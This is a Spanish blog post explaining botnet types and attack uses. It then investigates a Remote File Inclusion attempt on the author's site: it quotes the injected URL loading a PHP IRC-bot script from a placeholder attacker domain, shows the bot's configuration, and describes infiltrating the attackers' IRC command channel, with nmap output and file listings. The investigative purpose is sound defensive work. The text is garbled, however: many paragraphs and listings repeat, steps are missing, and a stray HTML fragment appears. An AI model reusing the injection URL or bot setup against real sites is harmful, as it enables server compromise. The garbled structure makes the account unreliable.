¿Que es y que tipos existen de Botnet?
Que es una BotNet
Una
BotNet o "RoboNetwork" es un grupo de computadoras (también llamadas
"zombies") que no necesariamente están dentro de una misma región , ya
que pueden estar en diferentes, ciudades, países o continentes, estas
computadoras son controladas por una "aplicación" que a su vez es
controlada por el propietario de esta red de zombies.
Normalmente cuando una persona menciona "BotNet" esta hablando de un grupo de computadoras infectadas por algún tipo de sofware malintencionado, este software claramente presenta una peligro real para la computadora como tal así como el dueño de esta. Una vez que el software malicioso es instalado en la computadora de forma fisica, virtual , local o global en el sistema, esta equipo se convierte inmediatamente en una maquina zombies, como si fuera un drone que puedes manipular a distancia.
Esta computadora estará a la espera de ejecución de comados del manejador que controle esta red de zombies en la que ya te encuentras, la computadora sera incapaz de resistirse a las instrucciones que el dueño de la BotNet ejecute.
Normalmente cuando una persona menciona "BotNet" esta hablando de un grupo de computadoras infectadas por algún tipo de sofware malintencionado, este software claramente presenta una peligro real para la computadora como tal así como el dueño de esta. Una vez que el software malicioso es instalado en la computadora de forma fisica, virtual , local o global en el sistema, esta equipo se convierte inmediatamente en una maquina zombies, como si fuera un drone que puedes manipular a distancia.
Esta computadora estará a la espera de ejecución de comados del manejador que controle esta red de zombies en la que ya te encuentras, la computadora sera incapaz de resistirse a las instrucciones que el dueño de la BotNet ejecute.
Las
BotNets pueden tener distintos tamaños, hablando en cantidad de
maquinas zombies, puedo haber BotNets muy pequeñas o extraordinariamente
grandes, esto lo define lo sofisticado y complejo que este el software
que se utilice para infectar las computadoras.
Una BotNet grande pude estar compuesta por fácilmente mas de 10,000 computadoras individuales , una pequeña pudiera solo tener 1000.
Por lo general los dueños reales de los equipos infectados no saben que sus recursos computacionales están siendo explotados de forma remota por un individuo o un grupo de cyberterroristas que tienen control de la botnet por IRC.
Hay diferentes tipos de software que infectan los equipos, algunos ya son obsoletos pero hay unos tan avanzados que incluso solo el creador sabe de su existencia, estos mas complejos tienen la capacidad de infectar mas sistemas, pero los mas simples no tienen esta capacidad y debe ser el mismo creador quien tenga que infectar el sistema de la victima.
Una BotNet grande pude estar compuesta por fácilmente mas de 10,000 computadoras individuales , una pequeña pudiera solo tener 1000.
Por lo general los dueños reales de los equipos infectados no saben que sus recursos computacionales están siendo explotados de forma remota por un individuo o un grupo de cyberterroristas que tienen control de la botnet por IRC.
Hay diferentes tipos de software que infectan los equipos, algunos ya son obsoletos pero hay unos tan avanzados que incluso solo el creador sabe de su existencia, estos mas complejos tienen la capacidad de infectar mas sistemas, pero los mas simples no tienen esta capacidad y debe ser el mismo creador quien tenga que infectar el sistema de la victima.
Diferentes tipos de Botnets
Como
ya mencione anteriormente hay diferentes tipos y cada uno tienen un
fin diferentes a continuación enumeraremos las BotNets mas conocidas.
GT-Bots and mIRC based bots
Estos
tienen muchas versiones en Internet y mas porque mIRC es el cliente
IRC mas conocido y usado para windows. GT es el estándar mundial y es
el mas utilizado para secuencia de comandos utilizado por mIRC.
GT-Bots hace uso del cliente de chat de mIRC para poner en ejecución varios archivos binarios, principalmente dlls y scripts.
GT-Bots hace uso del cliente de chat de mIRC para poner en ejecución varios archivos binarios, principalmente dlls y scripts.
XtremBot, Agobot, Forbot, Phatbot
Estos
actualmente son los mas famosos :p los mas conocidos en internet y no
es para menos ya que cuentan con mas de 500 versiones activas
funcionales diferentes al dia de hoy. Este software malicioso esta
escrito en C++ con capacidad de plataforma cruzada como un compilador y
GPL como código fuente su codificación es muy .. como se pidria decir ?
es muy abstracta de cierta manera y utiliza diferentes protocolos que
los hacen únicos.
UrXBot, SDBot, UrBot and RBot
Estos
al igual que el anterior se publican bajo la licencia GPL, pero a
diferencia del antes menciona su codificación es mas simple y para nada
abstracta, de cierta manera es muy rudimentaria y esta desarrollados en
C, pero no se dejen engañar aunque son rudimentarios y su codificación
simple, estos botnets hoy por hoy son de las mas utilizadas en
Internet.
Tipos de Ataques de BotNets
Como dije en un principio hay diferentes tipos de BotNets y ya se dieron cuenta que un par de ellas, pero también cada una tienen un fin muy peculiar y diferente uno de otra, veamos que tipos de ataques realizan las botnets :)
BotNet Spread
Las
botnet puede ser utilizadas para propagar otras BotNets en la red, muy
listo no ? jeje , esto lo logran convenciendo al usuario de descargar
software malicioso ya que uno primero esta instalado en el sistema ,
normalmente el usuario es convencido de descargar el software malicioso
desde protocolos; HTTP o FTP incluso desde correo.
Adware
Estas
son utilizadas para difundir anuncios en los sitios que visitamos,
básicamente es instalado en tu sistema y desde el manejador remoto el
puede controlar que publicidad se ve en los sitios que visitas y que
publicidad no, sorprendente mente es muy común este tipo de botnets y
extraordinariamente son las favoritas de las grandes empresas del mundo,
ya que aunque no lo creas ellas utilizan este tipo de BotNets.
Ataque DDOS
Esta
a estado en los reflectores mundiales en los últimos meses, aunque han
existido desde siempre, últimamente su uso se a convertido en abuso de
tal manera que un usuario común ya las conoce sin saber que son
BotNets, no es sorpresa ver en los titulares como sitios caen, sus
servicios están fuera de linea, su función es simple, solo utiliza todas
sus maquinas zombies para consumir el ancho de banda de la victima
dejando fuera de linea su servicio, estas botnets son utilizadas por las
grandes empresas para atacar a sus competidores directos.
Spyware
La
tarea de esta botnet es extraer los datos de la victima y mandarlas al
que controla la botnet, los datos que roba pueden ser desde actividad
en Internet , hasta números de tarjetas de crédito y todo lo que pueda
ser vendido en el mercado negro. Estas BotNets incrementan mucho su
valor cuando las maquinas zombies que tienen en su poder son maquinas de
grandes corporaciones, gobierno o entidades privadas con mucho poder.
Una de las botnets que a tenido el poder de robar información de
entidades gubernamentales es Aurora (se las dejo de tarea para que se
diviertan :) )
Abuso de Sistemas de pago por click
Estas
Botnets tienen un parecido con las BotNes de AdWare, solo que estas
están diseñadas no solo para desplegar publicidad, si no para obligar
a las maquinas zombies a hacer click sobre ciertos anuncios que
previamente la compaña pago por ello al manejador de la BotNet, estas
podrían ser de las BotNets que mas ingresos ilegales generan dentro de
todas las botnets, ya que inclus se puede engañar a sistemas como
google, ya que el sistema de google solo registra el click y la maquina
de donde provino, pero jamas sabe si realmente lo hizo el usuario
consciente de ello o fue por culpa de una botnet.
Robo de identidad y Keylogging
No
hay mucho que explicar el mismo nombre define todo, pero es básica
mente la versión light de las botnet de Spyware, solo que estas se
limitan a registrar y enviar las pulsaciones del teclado de las maquinas
zombies y después mediante la búsqueda de palabras clave como
facebook, gmail o paypal, pueden hacerse con las credenciales del
usuario.
Monitoreo de Trafico y Spamming
Esta
tipo de Botnet lo que hace es utilizar los clientes de correo
lógicamente con las credenciales del dueño de la maquina victima para
recopilar información de correos y contactos y en conjunto con las demás
maquinas zombies que como ya mencione pueden estar en diferentes
regiones, mandar spamm de diferente tipo o incluso correos de pishing.
Sobre el monitoreo básicamente esta la maquina en espera de que en su trafico se maneje cierto tipo de paquetes que previamente el manejador configuro para su búsqueda, entonces cuando ciertos paquetes/información pasan por la red, la botnet se activa mandando todo el segmento de información al que controla la botnet, estas botnets suelen ser utilizadas para monitoreo de un objetivo, persona o empresa y spamming como ya mencione.
Sobre el monitoreo básicamente esta la maquina en espera de que en su trafico se maneje cierto tipo de paquetes que previamente el manejador configuro para su búsqueda, entonces cuando ciertos paquetes/información pasan por la red, la botnet se activa mandando todo el segmento de información al que controla la botnet, estas botnets suelen ser utilizadas para monitoreo de un objetivo, persona o empresa y spamming como ya mencione.
Bueno,
creo que con este post aclare no todas pero si la mayoría y de forma
básica las preguntas que varios aun tenían sobre este tipo de
cyberweapon :)
Ya que entendimos bien lo que es.
Hace unos días alguien había intentado acceder a mi web y había tratado inyectar una URL, pero la forma de hacerlo no tenía sentido. Me llamó la atención y revise lo que habían tratado de hacer.
Intento de explotación de un RFI:
www.dominiovictima.com/gratis//appserv/main.php?appserv_root=http://www.dominiocontroladoporelatacante.com/e107_themes/temp/remote/j1.txt
Analizando la URL atacada podemos ver dos partes claramente diferenciadas, la url víctima y la inyección, en esta última vemos otra URL que contiene un archivo ".txt":
/appserv/main.php?appserv_root=http://www.dominiocontroladoporelatacante.com/e107_themes/temp/remote/j1.txt
Vamos a ver el contenido de ese sospechoso txt que podemos encontrar aquí:
[Les recomiendo descargar el txt para que puedan seguir paso a paso el post y entiendan varios puntos ;) ]
Bueno, una vez teniendo el txt veremos:
<?php var $config = array("server"=>"irc.dominio.net", "port"=>"6667", "pass"=>"", "prefix"=>"BoT", "maxrand"=>"5", "chan"=>"#channel", "chan2"=>"#channel", "key"=>"senhadocanal", "modes"=>"+p", "password"=>"terpmak", "trigger"=>".", "hostauth"=>"127.0.0.1" ); ?>
A simple vista lo primero que llama la atención son tres cosas, una cabecera con una muy buena descripcion de lo que hace el script, unas líneas de configuración y un footer con el nombre de una comunidad ! .
En este punto sabemos que lo que quiere el "Juaker" es controlar el host donde se aloja la web para convertirla en un bot que pueda utilizar en ataques DDoS, que el C&C está alojado en un canal IRC en un servidor controlado por el atacante y que los atacantes probablemente sean indonesios ya que buscando por el nombre de la comunidad en google podemos ver un blog donde publican scripts, aunque tambien puede ser que alguien los haya tomado y reutilizado (suele pasar :/ ).
Para salir de dudas profundizamos un poco y nos conectamos al C&C de los atacantes al que accedemos sin restricción. Por los datos que nos devuelve el servidor vemos que hay bastantes usuarios conectados:
* There are 281 users
Pensando un poco me doy cuenta que los zombies conectados siguen un patrón de nomenclatura de este estilo UBoTXXXXX o ABoTXXXXX, por lo que el bot que nos ha expulsado tiene que reconocer ese patron y mantenerlos conectados así que nueva ip, nombre acorde a sus normas y BINGO, estamos dentro, preparamos un bot que se mantenga conectado y registramos los logs del IRC para ver que actividades siguen los "Juakers" XD .
Pensando un poco me doy cuenta que los zombies conectados siguen un patrón de nomenclatura de este estilo UBoTXXXXX o ABoTXXXXX, por lo que el bot que nos ha expulsado tiene que reconocer ese patron y mantenerlos conectados así que nueva ip, nombre acorde a sus normas y BINGO, estamos dentro, preparamos un bot que se mantenga conectado y registramos los logs del IRC para ver que actividades siguen los "Juakers" XD .
Despues de 24 horas de registro ya tenemos datos suficientes:
- Hay dos canales de actividad básica
- Los delincuentes usan el indonesio como idioma principal
- Utilizan diferentes escaners de vulnerabilidades que se basan en dorks las 24 horas del dia para ir consiguiendo hosts que puedan comprometer y unir a la botnet.
- Las vulnerabilidades mas usadas son RFI, SQLi y LFI
Todos los hosts usados para comprometer otros han sido vulnerados antes, a los que se suben herramientas que les sirven a los atacantes para sus propósitos, unos ejemplos de estas herramientas son: mailerx.php (Herramienta para spam), dumper.php(Herramienta de volcado de DB), nochex_apc.php (Shell PHP) y 3xp.php (Uploader).
Ahora ya conocemos el la manera enla que operanlos Titiriteros (administradores) de la botnet, pero vamos a ver en que negocios se mueven y porque tanto misterios jojojo. Listando los canales del IRC y leyendo los topics de cada uno de ellos veo que hay dos canales bastante poblados que coinciden con los nombres de dos administradores que están en el canal principal donde el topic es:
* [-=BKHT=-] * (®) Available : || Shell c99 & r57 | Mailer | cPanel Hack Host | SMTP | Rdp | WHM | Root | SSH || Contact : Nick || Email : email@gmail.com || Card Credit Frees PM xNx or Email email@host.us Send Card Credit Frees No Bacot (®)'
Por último y sin desviarnos entre todos los otros servidores IRC y webs que nos invitan a entrar desde los topics pasamos nmap al servidor IRC para ver que esconde:
PORT STATE SERVICE
21/tcp open ftp
53/tcp open domain
80/tcp open http
110/tcp open pop3
143/tcp open imap
443/tcp open https
465/tcp open smtps
993/tcp open imaps
995/tcp open pop3s
<a href="http://www.dominio.net" target="_blank"><img width="1250px" src="http://dominio.net/file/jcomers.jpg" border="0"/></td>
Por lo visto no lo son, así que nos descargamos los archivos y los analizamos en local. Una vez descomprimido service.tgz nos encontramos la siguiente estructura de archivos:
audit@kali:~/Desktop/Botnet/services$ ls -al
total 3952
drwxrwxrwx 7 1002 1003 4096 jun 21 10:53 .
drwxr-xr-x 5 root root 4096 jul 12 11:39 ..
-rwxr-xr-x 1 1002 1003 3862 abr 14 16:46 anoperc
drwxr-xr-x 2 1002 1003 4096 jun 20 19:01 backups
-rw------- 1 1002 1003 55 jun 21 10:53 bot.db
-rw------- 1 1002 1003 229744 jun 21 10:53 chan.db
-rw------- 1 1002 1003 12 may 15 02:42 cs_autolimit.db
-rw-r--r-- 1 1002 1003 886 abr 14 16:46 example.chk
-rw-r--r-- 1 1002 1003 56916 abr 14 16:46 example.conf
-rw------- 1 1002 1003 6 jun 21 10:53 exception.db
-rw------- 1 1002 1003 40664 jun 21 10:53 hosts.db
-rw------- 1 1002 1003 0 jun 21 10:53 hs_request.db
drwx------ 2 1002 1003 4096 jul 5 2011 languages
-rwxr-xr-x 3 1002 1003 1123184 abr 14 16:46 listchans
-rwxr-xr-x 3 1002 1003 1123184 abr 14 16:46 listnicks
drwxr-xr-x 2 1002 1003 4096 jun 20 19:01 logs
drwxr-xr-x 3 1002 1003 4096 abr 14 16:46 modules
-rwxr-xr-x 1 1002 1003 5926 abr 14 16:46 mydbgen
-rw------- 1 1002 1003 333 jun 21 10:53 news.db
-rw------- 1 1002 1003 210180 jun 21 10:53 nick.db
-rw------- 1 1002 1003 20 jun 21 10:53 oper.db
-rw------- 1 1002 1003 0 jun 21 10:53 os_info.db
-rwxr-xr-x 3 1002 1003 1123184 abr 14 16:46 services
-rwxr-xr-x 1 1002 1003 895 mar 2 08:13 services.chk
-rw-r--r-- 1 1002 1003 6773 may 21 06:33 services.conf
-rw------- 1 1002 1003 5 may 21 06:33 services.pid
-rw-r--r-- 1 1002 1003 12654 abr 14 16:46 tables.sql
drwxr-xr-x 2 1002 1003 4096 abr 14 16:46 tools
-rwxr-xr-x 1 1002 1003 21516 abr 30 2012 xh
total 3952
drwxrwxrwx 7 1002 1003 4096 jun 21 10:53 .
drwxr-xr-x 5 root root 4096 jul 12 11:39 ..
-rwxr-xr-x 1 1002 1003 3862 abr 14 16:46 anoperc
drwxr-xr-x 2 1002 1003 4096 jun 20 19:01 backups
-rw------- 1 1002 1003 55 jun 21 10:53 bot.db
-rw------- 1 1002 1003 229744 jun 21 10:53 chan.db
-rw------- 1 1002 1003 12 may 15 02:42 cs_autolimit.db
-rw-r--r-- 1 1002 1003 886 abr 14 16:46 example.chk
-rw-r--r-- 1 1002 1003 56916 abr 14 16:46 example.conf
-rw------- 1 1002 1003 6 jun 21 10:53 exception.db
-rw------- 1 1002 1003 40664 jun 21 10:53 hosts.db
-rw------- 1 1002 1003 0 jun 21 10:53 hs_request.db
drwx------ 2 1002 1003 4096 jul 5 2011 languages
-rwxr-xr-x 3 1002 1003 1123184 abr 14 16:46 listchans
-rwxr-xr-x 3 1002 1003 1123184 abr 14 16:46 listnicks
drwxr-xr-x 2 1002 1003 4096 jun 20 19:01 logs
drwxr-xr-x 3 1002 1003 4096 abr 14 16:46 modules
-rwxr-xr-x 1 1002 1003 5926 abr 14 16:46 mydbgen
-rw------- 1 1002 1003 333 jun 21 10:53 news.db
-rw------- 1 1002 1003 210180 jun 21 10:53 nick.db
-rw------- 1 1002 1003 20 jun 21 10:53 oper.db
-rw------- 1 1002 1003 0 jun 21 10:53 os_info.db
-rwxr-xr-x 3 1002 1003 1123184 abr 14 16:46 services
-rwxr-xr-x 1 1002 1003 895 mar 2 08:13 services.chk
-rw-r--r-- 1 1002 1003 6773 may 21 06:33 services.conf
-rw------- 1 1002 1003 5 may 21 06:33 services.pid
-rw-r--r-- 1 1002 1003 12654 abr 14 16:46 tables.sql
drwxr-xr-x 2 1002 1003 4096 abr 14 16:46 tools
-rwxr-xr-x 1 1002 1003 21516 abr 30 2012 xh
-rw------- 1 1002 1003 15589 jun 15 18:56 services.log.20130615
-rw------- 1 1002 1003 11762 jun 16 18:46 services.log.20130616
-rw------- 1 1002 1003 10969 jun 17 18:51 services.log.20130617
-rw------- 1 1002 1003 14184 jun 18 18:41 services.log.20130618
-rw------- 1 1002 1003 14016 jun 19 18:56 services.log.20130619
-rw------- 1 1002 1003 23509 jun 20 18:52 services.log.20130620
-rw------- 1 1002 1003 8884 jun 21 10:57 services.log.20130621
-rw------- 1 1002 1003 11762 jun 16 18:46 services.log.20130616
-rw------- 1 1002 1003 10969 jun 17 18:51 services.log.20130617
-rw------- 1 1002 1003 14184 jun 18 18:41 services.log.20130618
-rw------- 1 1002 1003 14016 jun 19 18:56 services.log.20130619
-rw------- 1 1002 1003 23509 jun 20 18:52 services.log.20130620
-rw------- 1 1002 1003 8884 jun 21 10:57 services.log.20130621
[Jun 15 01:39:27 2013] NickServ: admin1!admin1@XXX.XXX.XXX.XXX identified for nick admin1
[Jun 15 21:10:45 2013] NickServ: admin1!admin1@XXX.XXX.XXX.XXX identified for nick admin1
[Jun 15 21:10:45 2013] NickServ: admin1!admin1@XXX.XXX.XXX.XXX identified for nick admin1
Hay algunos datos que omití o información que no anote pero el post tiene lo suficiente como para que se den una idea básica sobre este tema :)
Saludos y entren a mis redes sociales :)